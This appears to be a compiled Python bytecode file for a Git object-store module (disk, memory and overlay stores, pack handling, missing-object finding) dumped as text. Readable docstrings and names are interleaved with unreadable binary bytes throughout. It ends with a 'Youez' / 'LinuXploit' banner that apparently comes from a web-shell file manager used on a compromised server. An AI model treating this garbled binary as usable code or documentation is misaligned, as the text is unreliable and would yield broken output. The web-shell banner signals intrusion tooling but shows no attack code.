�g�#�F���D��I�I�b�%� ��
����y�!�	�	�	��&��rBc��URUR5n[RR	U5n[R
"U5 [RRU5(ag[US[S9nURURURS95 SSS5 g![a Nrf=f!,(df   g=f)zFAdd a single object to this object store.

Args:
  obj: Object to add
Nr�r�)r)
r�rIr�r��dirnamer�r��existsrr�r�as_legacy_objectr�)r=r~r�r�r
s     r>r|�DiskObjectStore.add_object�s����%�%�c�f�f�-���g�g�o�o�d�#��	��H�H�S�M��7�7�>�>�$����
�T�4�i�
0�A�
�G�G��$�$�t�7S�7S�$�T�
�1�
0��	�	��	��1�
0�s�B8�)C�8
C�C�
Cc�8�[R"U5 [R"[RR	US55 [R"[RR	U[
55 U"U5$![a N�f=f)Nr3)r�r�r�r�r�r�)r�r�s  r>�init�DiskObjectStore.initsh��	��H�H�T�N�	��������d�F�+�,�
��������d�G�,�-��4�y���	�	��	�s�B�
B�Bc#�># �[U5S:a[T
U]	U5Shv�N g[5nUSSR	5nUSSR	5n[
R"[
RRURU55HOnURU5(dM[
R"X5-5nXb;dM:URU5 Uv� MQ URH�n[U5S-S:Xa[R"U5O[R"USS5nUR RU5HBn[#U5nURU5(dM&Xb;dM-URU5 Uv� MD M� UR$H7n	U	RU5HnXb;dM
URU5 Uv� M! M9 gGN�![a GN
f=f7f)Nr�rr|)r r�r�rGr�r�r�r�r�r�r�rHr�rf�binascii�	unhexlifyr�rr)r=r��seenr�r�rlrQrR�
bin_prefixrr�s          �r>r��DiskObjectStore.iter_prefix
s������v�;��?��w�*�6�2�2�2���u���R�a�j���!���a�b�z� � �"��	��
�
�2�7�7�<�<��	�	�3�#?�@���?�?�4�(�(��+�+�c�j�1�C�������
�!�	�A����A��v�;��?�a�'��"�"�6�*��'�'��s���4�
�
�w�w�*�*�:�6�� ��o���>�>�&�)�)�c�o��H�H�S�M��I�	7�
����I� �,�,�V�4���?��H�H�S�M��I�5�)�5
3��!�	��	�sT�"G>�G*�5G>�AG-�5G-�G-�-B
G>�>G>�AG>�G>�-
G;�7G>�:G;�;G>)r�r�r�r�r�)r|r|r�r�)rCrDrErFr�r�r}r��classmethodr�r�rr�r�r-r�r9r<r?rCr�r�r	r?r|rr�rH�
__classcell__�r�s@r>rr�s����5�HJ�=�	
�=�=�"=�#�=��J��J�*� �� �
R�6�*�:/���/�#�=�<�|Y�2 �@�&���� � rBrc��^�\rSrSrSrSU4SjjrSrSrS\4Sjr	S	r
\S
5rS\
4SjrS\
4S
jrS\
SS4SjrSSjrSSSjjrSrSS\S\\SS4SjjrSSSjjrSrU=r$)�MemoryObjectStorei-z.Object store that keeps all objects in memory.r9Nc�>>�[TU]5 0UlSUlg)Nr|)r�r��_datar�)r=r�s �r>r��MemoryObjectStore.__init__0s���
����)+��
�&(��#rBc�v�[U5S:XaU$[U5S:Xa[U5$[SU<35e)Nr]r^zInvalid sha )r r�
ValueErrorr]s  r>�
_to_hexsha�MemoryObjectStore._to_hexsha5s9���s�8�r�>��J�
��X��^��c�?�"��|�C�7�3�4�4rBc�>�URU5UR;$rZ)r.r*r]s  r>r\� MemoryObjectStore.contains_loose=s�����s�#�t�z�z�1�1rBc��g)z>Check if a particular object is present by SHA1 and is packed.Fr;r]s  r>r�!MemoryObjectStore.contains_packedAs��rBc�H�[URR55$ru)r�r*�keysr<s r>rw�MemoryObjectStore.__iter__Es���D�J�J�O�O�%�&�&rBc��/$r2r;r<s r>rf�MemoryObjectStore.packsIs	���	rBrlc�`�XRU5nURUR54$ri)r.rpr`)r=rlr~s   r>rj�MemoryObjectStore.get_rawNs-���?�?�4�(�)���|�|�S�.�.�0�0�0rBc�Z�URURU5R5$r�)r*r.�copyrks  r>rr�MemoryObjectStore.__getitem__Xs#���z�z�$�/�/�$�/�0�5�5�7�7rBc�<�URURU5	g)z3Delete an object from this store, for testing only.N)r*r.rks  r>�__delitem__�MemoryObjectStore.__delitem__[s���J�J�t���t�,�-rBc�R�UR5URUR'g)r{N)r<r*rIr}s  r>r|�MemoryObjectStore.add_object_s�� �X�X�Z��
�
�3�6�6�rBc�<�UHup4URU5 M g)r�N)r|)r=r�r�r~r�s     r>r��MemoryObjectStore.add_objectscs��!�I�C��O�O�C� �!rBc�R^^�SSKJn U"[SS9mSUU4SjjnSU4SjjnTX#4$)z�Add a new pack to this object store.

Because this object store doesn't support packs, we extract and add the
individual objects.

Returns: Fileobject to write to and a commit function to
    call when the pack is finished.
r)�SpooledTemporaryFile�	incoming-��max_sizer�c�6>�TR5nUS:�arTRS5 [R"TU5n[R
"UTR5HnTRU5 M UR5 gTR5 g�Nr)	rrr �	from_filer%rrjr|r�)�sizerRr~r
r=s   ��r>r��*MemoryObjectStore.add_pack.<locals>.commitysl����6�6�8�D��a�x����q�	��&�&�q�$�/��'�5�5�a����F�C��O�O�C�(�G����	����	rBc�&>�TR5 gr�)r�)r
s�r>r�)MemoryObjectStore.add_pack.<locals>.abort�s���
�G�G�IrBr�)rrFr)r=rFr�rr
s`   @r>r?�MemoryObjectStore.add_packls1���	2� �*B�;�W��		�		�	��&��rBrrc�T�UH"nURUR55 M$ g)rN)r|�sha_file)r=rrr��unpacked_objects     r>r�MemoryObjectStore.add_pack_data�s#�� 0�O��O�O�O�4�4�6�7� 0rBc��UR5upEn[XU5nUR5 U"5 g![a	 U"5 ef=f)a�Add a new thin pack to this object store.

Thin packs are packs that contain deltas with parents that exist
outside the pack. Because this object store doesn't support packs, we
extract and add the individual objects.

Args:
  read_all: Read function that blocks until the number of
    requested bytes are read.
  read_some: Read function that returns at least one byte, but may
    not return the number of bytes requested.
N)r?r&rr	)r=rrr�r
r�rrs        r>r	�MemoryObjectStore.add_thin_pack�sN�� �=�=�?���5�	�%�h�1�=�F��M�M�O�

�H��	�	��G��	�s	�9�A)r*r�r�r�)rCrDrErFr�r�r.r\r�rrwr�rfrrjrrr?r|r�r?r�rr'rr	rHr%r&s@r>r(r(-s����8�)�
5�2��d��'�����1�H�1�8��8�.��.�T�.�(�!� �<PT�
8��
8�,4�^�,D�
8�	
�
8��rBr(c�,�\rSrSrSrS\\4SjrSrg)�ObjectIteratori�z%Interface for iterating over objects.r9c�,�[UR5er�)r[rPr<s r>rP�ObjectIterator.iterobjects�s��!�$�"2�"2�3�3rBr;N)	rCrDrErFr�rrrPrHr;rBr>rYrY�s��/�4�X�g�.�4rBrYc�t�U"U5n[U[5(d[U5eURX5$)z�Look up an object in a Git tree.

Args:
  lookup_obj: Callback for retrieving object by SHA1
  root_sha: SHA1 of the root tree
  path: Path to lookup
Returns: A tuple of (mode, SHA) of the resulting path.
)r�rr
�lookup_path)�
lookup_obj�root_shar��trees    r>�tree_lookup_pathra�s7���h��D��d�D�!�!��8�$�$����J�-�-rB�	obj_store�tree_sha�ksetr9c��Xn[U[5(deUR5HYupEn[U5(aMXb;dMUR	U5 [
R"U5(dMM[XU5 M[ g)z�Collect SHA1s of files and directories for specified tree.

Args:
  obj_store: Object store to get objects by SHA from
  tree_sha: tree reference to walk
  kset: set to fill with references to files and directories
N)r�r�	iteritemsrrH�stat�S_ISDIR�_collect_filetree_revs)rbrcrd�filetreerlr�rQs       r>riri�si���"�H��h��%�%�%�%�#�-�-�/���C��4� � �S�_��H�H�S�M��|�|�D�!�!�&�y�t�<�	0rBF��ignore_unknownc��[5n[5n[5nUH�nXn[U[5(aURU5 M0[U[5(a<URU5 UR
Sn[
X/US9up�nX9-nXJ-nX[-nM�URU5 M� X4U4$![a U(deM�f=f)aSplit object id list into three lists with commit, tag, and other SHAs.

Commits referenced by tags are included into commits
list as well. Only SHA1s known in this repository will get
through, and unless ignore_unknown argument is True, KeyError
is thrown for SHA1 missing in the repository

Args:
  obj_store: Object store to get objects by SHA1 from
  lst: Collection of commit and tag SHAs
  ignore_unknown: True to skip SHA1 missing in the repository
    silently.
Returns: A tuple of (commits, tags, others) SHA1s
rrk)rGr�rrHrr��_split_commits_and_tagsr�)rb�lstrl�commits�tags�othersr�rp�tagged�c�tr�s            r>rnrn�s���"�%�G��u�D���F�
��	���A�
�!�V�$�$����A���A�s�#�#���������!���2��x�����b�����	������
�
�1�
�'�(
�6�"�"��#�	�!��"�	�s�B;�;C�Cc��\rSrSrSrSSSSS.SSjjrSrS	\\\	\
\\
\\
4SS4S
jrS\\\
\44SjrSrS
rg)r�iaFind the objects missing from another object store.

Args:
  object_store: Object store containing at least all objects to be
    sent
  haves: SHA1s of commits not to send (already present in target)
  wants: SHA1s of commits to send
  progress: Optional function to report progress to.
  get_tagged: Function that returns a dict of pointed-to sha -> tag
    sha for including tags.
  get_parents: Optional function for getting the parents of a commit.
  tagged: dict of pointed-to sha -> tag sha for including tags
Nc��UR$r�r�r�s r>r��MissingObjectFinder.<lambda>r�rB)r�r�r�r�r9c	���XlUc
[5nXpl[XSS9up�n
[XSS9up�n
[	XX@RS9Sn[	UUUUURS9unn[5UlUHDnUR
R
U5 UUn[UURUR
5 MF U	HnUR
R
U5 M  [UR
5Ul	UVs1sHnUS[RS4iM snUlURU	5nURRUVs1sHnUS[RS4iM sn5 U
RU
5nURRUVs1sH	nUSSS4iM sn5 Uc	SUlOXPlU=(a U"5=(d 0Ulgs snfs snfs snf)NTrkF)r�r�rc��gr�r;)�xs r>r��.MissingObjectFinder.__init__.<locals>.<lambda>Ts��drB)�object_storerG�_get_parentsrn�_collect_ancestorsr!rHrir`�sha_donerrp�objects_to_send�
differencerOrr��_tagged)r=r}r�r�r�r�r�r��have_commits�	have_tags�have_others�want_commits�	want_tags�want_others�
all_ancestors�missing_commits�common_commits�hr�ru�w�missing_tags�missing_otherss                       r>r��MissingObjectFinder.__init__s���)���?��e�G�'��0G���0
�,���0G���0
�,���
+���EV�EV�
�
�
�
�+=������)�)�+
�'���'*�e���
 �A��O�O����"��q�/�C�"�<����4�?�?�K� �
�A��O�O����"���D�O�O�,��
�9H�H��1�a��v����
.��H�	
��!�+�+�I�6�����#�#�5A�B�\��a��s�|�|�U�
+�\�B�	
�%�/�/��<�����#�#�^�$T�^��a��t�U�%;�^�$T�U���*�D�M�$�M�"�3�z�|�:�����
I��
C��%Us�G'�G,�G1c��UR$r�)r!r<s r>r�"MissingObjectFinder.get_remote_hasYs�����rBr�c��URRUVs/sHo"SUR;dMUPM sn5 gs snfrK)r�rOr�)r=r�r�s   r>�add_todo�MissingObjectFinder.add_todo\s7��	
���#�#��$U��1�Q�4�t�}�}�;T�Q��$U�V��$Us
�A�Ac
�(�UR(d=URS[UR5S3R	S55 [
eURR
5upp4XR;aOM}U(GdXURUn[U[5(a0URURS[RS4/5 GO[U[5(a�URUR5VVVs/sHpupgn[U5(aMUU[ R""U5(a[$RO[R[ R&"U5(+4PMr snnn5 OO[U[(5(a:URUR*SSUR*SRS4/5 XR,;a#URUR,USSS4/5 URR/U5 [UR5S	-S:Xa7URS[UR5S
3R	S55 UcSn	X4$X24n	X4$s snnnf)NTzcounting objects: z, done.
r�rBFrri�r�)r�r�r r�r��
StopIterationr�r}r�rr�r`rrprfrrg�S_ISREGrrhrr�r�rH)
r=rQrlrp�leafrp�n�m�s�	pack_hints
          r>�__next__�MissingObjectFinder.__next__as����'�'��
�
�(��T�]�]�);�(<�I�F�M�M�g�V��$�#�*.�*>�*>�*B�*B�*D�'�S���-�-�'�����!�!�#�&�A��!�V�$�$��
�
�����T�]�]�E�B�C�D��A�t�$�$��
�
�()�{�{�}�	�(5�G�A�!�*�1�~����.2�l�l�1�o�o�T�]�]�4�=�=� $���Q��/�	�(5�	���A�s�#�#��
�
������T�1�8�8�A�;�3G�3G��O�P�Q��,�,���M�M�D�L�L��-�t�T�4�@�A�B��
�
���#���t�}�}���$��)��M�M�.�s�4�=�=�/A�.B�"�E�L�L�W�U�V����I����"�(�I�����-	s
�J
�*AJ
c��U$r�r;r<s r>rw�MissingObjectFinder.__iter__�s���rB)r~r�r}r�r�r!r�r�)rCrDrErFr�r�rrrGrr	r�r�r�r�r#r�rwrHr;rBr>r�r�s����(���1�G;�
�G;�R�W���h�����#��PT�&T� U�V�W�	
�W�
& �%��x��'9� 9�:�& �PrBr�c�D�\rSrSrSrS	S
SjjrS
SjrS
SjrSr\r	Sr
g)�ObjectStoreGraphWalkeri�z�Graph walker that finds what commits are missing from an object store.

Attributes:
  heads: Revisions without descendants in the local repo
  get_parents: Function to retrieve parents in the local repo
Nc�d�[U5UlX l0UlUc
[5nX0lg)z�Create a new instance.

Args:
  local_heads: Heads to start search with
  get_parents: Function for finding the parents of a SHA1.
N)rG�headsr�r�r�)r=�local_headsr�r�s    r>r��ObjectStoreGraphWalker.__init__�s.����%��
�&��AC����?��e�G��rBc��g)zNothing in common was found.Nr;r<s r>�nak�ObjectStoreGraphWalker.nak�rArBc��[U5S:wa[SU<S35eU1nUR(a�UH/nX0R;dMURRU5 M1 [	5nUHAnUR
R
U5nUbURU5 SUR
U'MC U(dgUnUR(aM�gg)z@Ack that a revision and its ancestors are present in the source.r]zunexpected sha z	 receivedN)r r-r�rjrGr�rrO)r=rQ�	ancestors�a�
new_ancestors�pss      r>r��ObjectStoreGraphWalker.ack�s����s�8�r�>���s�g�Y�?�@�@��E�	��j�j����
�
�?��J�J�%�%�a�(��
 �E�M����\�\�%�%�a�(���>�!�(�(��,�"&����Q��	�!��%�I�#�j�j�jrBc�B�UR(ayURR5nURU5nX RU'URRUVs/sHo3UR;dMUPM sn5 U$g![a gf=fs snf)z.Iterate over ancestors of heads in the target.N)r�r�r�r�r�rO)r=rbr�rRs    r>r��ObjectStoreGraphWalker.next�s����:�:��*�*�.�.�"�C�
��%�%�c�*��!#�L�L����J�J���"�F�"�Q����0E�q�"�F�G��J����
��
��Gs�B�%B�<B�
B�B)r�r�r�r�r�r�)rCrDrErFr�r�r�r�r�r�rHr;rBr>r�r��s"����+�&�4��HrBr�c���0nUH>upEnURSS5upxURU/5RX�U45 M@ UR	5HMup�XU	Sn[XU
5n[U5S:XaX	M/[RUR4X'MO URU5 U$![a UcX	M�XV4X'M�f=f![
a
 [
5nN�f=f)a�Commit a specified set of changes to a tree structure.

This will apply a set of changes on top of an existing tree, storing new
objects in object_store.

changes are a list of tuples with (path, mode, object_sha).
Paths can be both blobs and trees. See the mode and
object sha to None deletes the path.

This method works especially well if there are only a small
number of changes to a big tree. For a large number of changes
to a large tree, use e.g. commit_tree.

Args:
  object_store: Object store to store new objects in
    and retrieve old ones from.
  tree: Original tree root
  changes: changes to apply
Returns: New tree root object
�/rr)
�split�
setdefaultr�r-rTr�r�commit_tree_changesr rg�S_IFDIRrIr|)
r}r`�changes�nested_changesr��new_mode�new_shar�subpathrl�
subchanges�orig_subtree�subtrees
             r>r�r��s��.�N�#*����	X�!%���D�!�!4��W�
�%�%�g�r�2�9�9�7�g�:V�W�$+�+�0�0�2���	"�'�T�
�1�
�6�L�&�l�*�M���w�<�1���
��,�,��
�
�3�D�J�3����D�!��K��%�	1����J�&�0��
�		1���	"��6�L�	"�s)�B;�
C�;C�
C�C�C0�/C0c���\rSrSrSrSSSjjrSrSSjr\S5r	S	r
S
S.S\\S
\
S\\4SjjrS
S
SS.S\\S
\
S\\4SjjrSrS\
4SjrS\
4SjrSrg)�OverlayObjectStoreiz5Object store that can overlay multiple object stores.Nr9c��XlX lgr�)�bases�	add_store)r=r�r�s   r>r��OverlayObjectStore.__init__s���
�"�rBc�|�URc[UR5eURRU5$r�)r�r[r|)r=r�s  r>r|�OverlayObjectStore.add_objects0���>�>�!�%�d�o�o�6�6��~�~�(�(��0�0rBc�|�URc[UR5eURRX5$r�)r�r[r|r�r�s   r>r��OverlayObjectStore.add_objectss0���>�>�!�%�d�o�o�6�6��~�~�)�)�'�<�<rBc�f�/nURHnURUR5 M  U$r�)r�r�rf)r=rb�bs   r>rf�OverlayObjectStore.packss*�������A��J�J�q�w�w����
rBc#�# �[5nURH(nUHnX1;dM
Uv� URU5 M! M* g7fr�)rGr�rH)r=�doner��o_ids    r>rw�OverlayObjectStore.__iter__s:����u�����A����#��J��H�H�T�N���s
�"A�AFr�r�r�c#�# �[U5nURH9nURUSS9H"nUv� URUR5 M$ M; U(aU(d[WR5egg7fro)rGr�r�rjrIr�)r=r�r�rkr�rps      r>r��%OverlayObjectStore.iterobjects_subset sj����4�y�����A��)�)�$�d�)�C�������A�D�D�!�D���
��1�4�4�.� �&�4�s�A:A<Trdc#�# �[U5nURH;nURUUSUS9H"nUv� URUR5 M$ M= U(aU(d[WR5egg7frh)rGr�rirjrIr�)r=r�rer�rfrkr�rps        r>ri�'OverlayObjectStore.iter_unpacked_subset+sw����4�y�����A��+�+��)�"�"3�	,��������A�D�D�!����
��1�4�4�.� �&�4�s�A<A>c��URHnURU5s $ [U5e![a M1f=fr�)r�rjr�)r=�sha_idr�s   r>rj�OverlayObjectStore.get_raw@sE�����A�
��y�y��(�(��
�v�����
��
�s�1�
?�?c�Z�URHnURU5(dM g g�NTF)r�r�r=rQr�s   r>r�"OverlayObjectStore.contains_packedHs)�����A�� � ��%�%���rBc�Z�URHnURU5(dM g gr�)r�r\r�s   r>r\�!OverlayObjectStore.contains_looseNs)�����A�����$�$���rB)r�r�r�r�)rCrDrErFr�r�r|r�r�rfrwrr�r�rrr�rirjrr\rHr;rBr>r�r�s���?�#�1�
=�
����#�?D�	!��U�O�	!�7;�	!�	�'�	�	!��#��
!��u�o�!�
�!�
�'�	�!�*��d���T�rBr�c#��# �UR5R5H@nU(dMURSS5up#US:waM([R"U5v� MB g7f)z'Yield the packs listed in a packs file.� r�PN)r��
splitlinesr�r�r�)r
r��kindrls    r>�read_packs_filer�UsO�������#�#�%�����z�z�$��*����4�<���k�k�$���
&�s�A$A&c�t�\rSrSrSrSrSSjrSSjrSSjrS\	\
4S	jrS\4S
jr
SrSSjrS
rSrg)�BucketBasedObjectStorei`zHObject store implementation that uses a bucket store like S3 as backend.c��[/5$r8)r�r<s r>r9�*BucketBasedObjectStore._iter_loose_objectscs���B�x�rBr9Nc��gr�r;r]s  r>r<�(BucketBasedObjectStore._get_loose_objectgs��rBc��gr�r;r]s  r>r?�+BucketBasedObjectStore._remove_loose_objectjs��rBc�,�[UR5er�rBrks  r>rC�#BucketBasedObjectStore._remove_packnrErBc�,�[UR5er�)r[�_iter_pack_namesr<s r>r��'BucketBasedObjectStore._iter_pack_namesqs��!�$�"7�"7�8�8rBc�,�[UR5er�)r[�	_get_packrks  r>r�� BucketBasedObjectStore._get_packts��!�$�.�.�1�1rBc�`�[UR55n/nUHDnX0R;dMURU5nUR	U5 X@RU'MF [UR5U-
H,nURRU5R
5 M. U$r�)rGr�r�r�r�r�r�)r=r�r�r
r4s     r>r-�)BucketBasedObjectStore._update_pack_cachews�����.�.�0�1�
��	��A��(�(�(��~�~�a�(��� � ��&�&*� � ��#�	��T�%�%�&��3�A���� � ��#�)�)�+�4��rBc��[er�re)r=r��	pack_filer�s    r>�_upload_pack�#BucketBasedObjectStore._upload_pack�s��!�!rBc�f^^^�SSKmTR[SS9mUUU4SjnTUTR4$)rrNrGrHc�>�TR5S:XaTR5 gTRS5 [TRT5nUR5n[
SU55RS5nT
R[SS9nUR5n[X1U5 URS5 [US-U5nT	RHInUR5UR5:XdM'UR5 UR5 Us $ TRS5 URS5 T	RUTU5 [R "X5nT	R#X'5 U$)Nrc3�*# �UH	oSv� M g7fr�r;r�s  r>r��BBucketBasedObjectStore.add_pack.<locals>.commit.<locals>.<genexpr>�s��� ?�w�e�q��w�r�r�rGrHr�)rr�rr rl�sorted_entriesr+r�rFr�get_stored_checksumr/r,rfr�r�from_objectsr)rRr�r��idxf�checksum�idxr4r��pfr=rs        ���r>r��/BucketBasedObjectStore.add_pack.<locals>.commit�s=����w�w�y�A�~����
���G�G�A�J�����"�%�A��&�&�(�G� � ?�w� ?�?�F�F�w�O�H��0�0�1�+�1��D��,�,�.�H��T�H�5��I�I�a�L�&�x�&�'8�$�?�C��
�
���+�+�-��1F�1F�1H�H��G�G�I��I�I�K��K�	#�

�G�G�A�J��I�I�a�L����h��D�1��*�*�1�2�J��!�!�(�7��rB)rrFrr�)r=r�rrs` @@r>r?�BucketBasedObjectStore.add_pack�s:���	�
�
*�
*�-�k�+�
��	�8�6�2�8�8�#�#rBr;r�)rCrDrErFr�r9r<r?rCrr}r�rr�r-r�r?rHr;rBr>r�r�`sD��R���
�5�9�(�3�-�9�2��2�
�"�)$rBr�c��UR$r�r�r�s r>r�r��s��v�~�~rB�store�commonr�c�6�[5n[5n/nURU5 U(aiURS5nX�;aURU5 O8X�;a3URU5 X�;aMLXn	URU"U	55 U(aMiXe4$)a�Collect all ancestors of heads up to (excluding) those in common.

Args:
  heads: commits to start from
  common: commits to end at, or empty set to walk repository
    completely
  get_parents: Optional function for getting the parents of a
    commit.
Returns: a tuple (A, B) where A - all commits reachable
    from heads but not present in common, B - common (shared) elements
    that are directly reachable from heads
r)rGr�r�rH)
r
r�rr�r�r�rpr�r�r�s
          r>rr�s���&
�E�E��e�G��E�	�L�L���
��I�I�a�L���;��I�I�a�L�
�
��K�K��N��|���(�C��L�L��S�)�*��%�
��rBr�r�r�c#�:# �Ucg[S[RU5/nU(a�UR5n[R"UR
5(a�/nXRn[U[5(deURSS9H-nURURUR55 M/ UR[U55 [R"UR
5(aU(aUv� U(aM�gg7f)r�NrBT)�
name_order)rrgr�r�rhr�rQr�rrfr��in_pathr�r��reversed)r
r�r�rkr��extrar`�subentrys        r>r�r��s�������
�c�4�<�<��1�2�D�
����
���<�<��
�
�#�#��E����#�D��d�D�)�)�)�)� �N�N�d�N�;�����X�-�-�e�j�j�9�:�<��K�K����(��|�|�E�J�J�'�'�=��K��$�s�DD�DrQc��X=p#[UR5nU[La4[U[5(deURupAXnU[LaM4X#4$)r�)r�	type_namerr�r�)r
rQ�unpeeledr~�	obj_classs     r>r�r��s]���Z��H��S�]�]�+�I�
�s�
��#�s�#�#�#�#�����	��j���s�
��=�rB)Zr�rr�rgr�r��collections.abcrrr�
contextlibr�ior�typingrr	r
r�errorsr
�filerr�rrrrrrrrrrrrrrr4rrrr r!r"r#r$r%r&r'r(r)r*r+r,r-r.r/�protocolr0rLr1r2r�r�r�r�r7rJr�rr(rYrarGrirGr�rnr�r�r�r�r�r��	frozensetrr�r�r�r;rBr>�<module>rs��06��	��
��8�8�����!������ ������*%�(�
��
��
�\�\�W�,�E�%�	��H��
L�L�^eI�?�eI�PR�*�R�j
}��}�@4�X�4�.�=��=�*2�=�:=�h�-�=�	�=�(8=�(#��(#�
�3�u�:�s�5�z�3�u�:�-�.�(#�VI�I�X@�@�F-�`R��R�j �R$�1�R$�p#,�+�#,�;�-�!��!�
�h��!��x�
 �	!�JSX����%-�h�%7��KO��>�O��%��E�'�7�:J�4K�rB

Youez - 2016 - github.com/yon3zu
LinuXploit